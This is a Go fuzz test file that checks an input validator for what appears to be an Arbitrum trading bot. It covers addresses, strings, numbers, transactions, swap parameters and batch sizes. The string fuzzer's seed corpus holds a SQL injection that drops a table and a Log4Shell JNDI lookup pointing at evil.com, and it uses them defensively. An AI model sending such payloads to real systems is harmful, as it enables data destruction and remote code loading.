package security import ( "math/big" "strings" "testing" "time" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" ) // FuzzValidateAddress tests address validation with random inputs func FuzzValidateAddress(f *testing.F) { validator := NewInputValidator(42161) // Arbitrum chain ID // Seed corpus with known patterns f.Add("0x0000000000000000000000000000000000000000") // Zero address f.Add("0xa0b86991c431c431c8f4c431c431c431c431c431c") // Valid address f.Add("0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef") // Suspicious pattern f.Add("0x") // Short invalid f.Add("") // Empty f.Add("not_an_address") // Invalid format f.Fuzz(func(t *testing.T, addrStr string) { defer func() { if r := recover(); r != nil { t.Errorf("ValidateAddress panicked with input %q: %v", addrStr, r) } }() // Test that validation doesn't crash on any input if common.IsHexAddress(addrStr) { addr := common.HexToAddress(addrStr) result := validator.ValidateAddress(addr) // Ensure result is never nil if result == nil { t.Error("ValidateAddress returned nil result") } // Validate result structure if len(result.Errors) == 0 && !result.Valid { t.Error("Result marked invalid but no errors provided") } } }) } // FuzzValidateString tests string validation with various injection attempts func FuzzValidateString(f *testing.F) { validator := NewInputValidator(42161) // Seed with common injection patterns f.Add("'; DROP TABLE users; --") f.Add("") f.Add("${jndi:ldap://evil.com/}") f.Add("\x00\x01\x02\x03\x04") f.Add(strings.Repeat("A", 10000)) f.Add("normal_string") f.Fuzz(func(t *testing.T, input string) { defer func() { if r := recover(); r != nil { t.Errorf("ValidateString panicked with input length %d: %v", len(input), r) } }() result := validator.ValidateString(input, "test_field", 1000) // Ensure validation completes if result == nil { t.Error("ValidateString returned nil result") } // Test sanitization sanitized := validator.SanitizeInput(input) // Ensure sanitized string doesn't contain null bytes if strings.Contains(sanitized, "\x00") { t.Error("Sanitized string still contains null bytes") } // Ensure sanitization doesn't crash if len(sanitized) > len(input)*2 { t.Error("Sanitized string unexpectedly longer than 2x original") } }) } // FuzzValidateNumericString tests numeric string validation func FuzzValidateNumericString(f *testing.F) { validator := NewInputValidator(42161) // Seed with various numeric patterns f.Add("123.456") f.Add("-123") f.Add("0.000000000000000001") f.Add("999999999999999999999") f.Add("00123") f.Add("123.456.789") f.Add("1e10") f.Add("abc123") f.Fuzz(func(t *testing.T, input string) { defer func() { if r := recover(); r != nil { t.Errorf("ValidateNumericString panicked with input %q: %v", input, r) } }() result := validator.ValidateNumericString(input, "test_number") if result == nil { t.Error("ValidateNumericString returned nil result") } // If marked valid, should actually be parseable as number if result.Valid { if _, ok := new(big.Float).SetString(input); !ok { // Allow some flexibility for our regex vs big.Float parsing if !strings.Contains(input, ".") { if _, ok := new(big.Int).SetString(input, 10); !ok { t.Errorf("String marked as valid numeric but not parseable: %q", input) } } } } }) } // FuzzTransactionValidation tests transaction validation with random transaction data func FuzzTransactionValidation(f *testing.F) { validator := NewInputValidator(42161) f.Fuzz(func(t *testing.T, nonce, gasLimit uint64, gasPrice, value int64, dataLen uint8) { defer func() { if r := recover(); r != nil { t.Errorf("Transaction validation panicked: %v", r) } }() // Constrain inputs to reasonable ranges if gasLimit > 50000000 { gasLimit = gasLimit % 50000000 } if dataLen > 100 { dataLen = dataLen % 100 } // Create test transaction data := make([]byte, dataLen) for i := range data { data[i] = byte(i % 256) } var gasPriceBig, valueBig *big.Int if gasPrice >= 0 { gasPriceBig = big.NewInt(gasPrice) } else { gasPriceBig = big.NewInt(-gasPrice) } if value >= 0 { valueBig = big.NewInt(value) } else { valueBig = big.NewInt(-value) } to := common.HexToAddress("0x1234567890123456789012345678901234567890") tx := types.NewTransaction(nonce, to, valueBig, gasLimit, gasPriceBig, data) result := validator.ValidateTransaction(tx) if result == nil { t.Error("ValidateTransaction returned nil result") } }) } // FuzzSwapParamsValidation tests swap parameter validation func FuzzSwapParamsValidation(f *testing.F) { validator := NewInputValidator(42161) f.Fuzz(func(t *testing.T, amountIn, amountOut int64, slippage uint16, hoursFromNow int8) { defer func() { if r := recover(); r != nil { t.Errorf("SwapParams validation panicked: %v", r) } }() // Create test swap parameters params := &SwapParams{ TokenIn: common.HexToAddress("0x1111111111111111111111111111111111111111"), TokenOut: common.HexToAddress("0x2222222222222222222222222222222222222222"), AmountIn: big.NewInt(amountIn), AmountOut: big.NewInt(amountOut), Slippage: uint64(slippage), Deadline: time.Now().Add(time.Duration(hoursFromNow) * time.Hour), Recipient: common.HexToAddress("0x3333333333333333333333333333333333333333"), Pool: common.HexToAddress("0x4444444444444444444444444444444444444444"), } result := validator.ValidateSwapParams(params) if result == nil { t.Error("ValidateSwapParams returned nil result") } }) } // FuzzBatchSizeValidation tests batch size validation with various inputs func FuzzBatchSizeValidation(f *testing.F) { validator := NewInputValidator(42161) // Seed with known operation types operations := []string{"transaction", "swap", "arbitrage", "query", "unknown"} f.Fuzz(func(t *testing.T, size int, opIndex uint8) { defer func() { if r := recover(); r != nil { t.Errorf("BatchSize validation panicked: %v", r) } }() operation := operations[int(opIndex)%len(operations)] result := validator.ValidateBatchSize(size, operation) if result == nil { t.Error("ValidateBatchSize returned nil result") } // Negative sizes should always be invalid if size <= 0 && result.Valid { t.Errorf("Negative/zero batch size %d marked as valid for operation %s", size, operation) } }) } // Removed FuzzABIValidation to avoid circular import - moved to pkg/arbitrum/abi_decoder_fuzz_test.go // BenchmarkInputValidation benchmarks validation performance under stress func BenchmarkInputValidation(b *testing.B) { validator := NewInputValidator(42161) // Test with various input sizes testInputs := []string{ "short", strings.Repeat("medium_length_string_", 10), strings.Repeat("long_string_with_repeating_pattern_", 100), } for _, input := range testInputs { b.Run("ValidateString_len_"+string(rune(len(input))), func(b *testing.B) { for i := 0; i < b.N; i++ { validator.ValidateString(input, "test", 10000) } }) b.Run("SanitizeInput_len_"+string(rune(len(input))), func(b *testing.B) { for i := 0; i < b.N; i++ { validator.SanitizeInput(input) } }) } }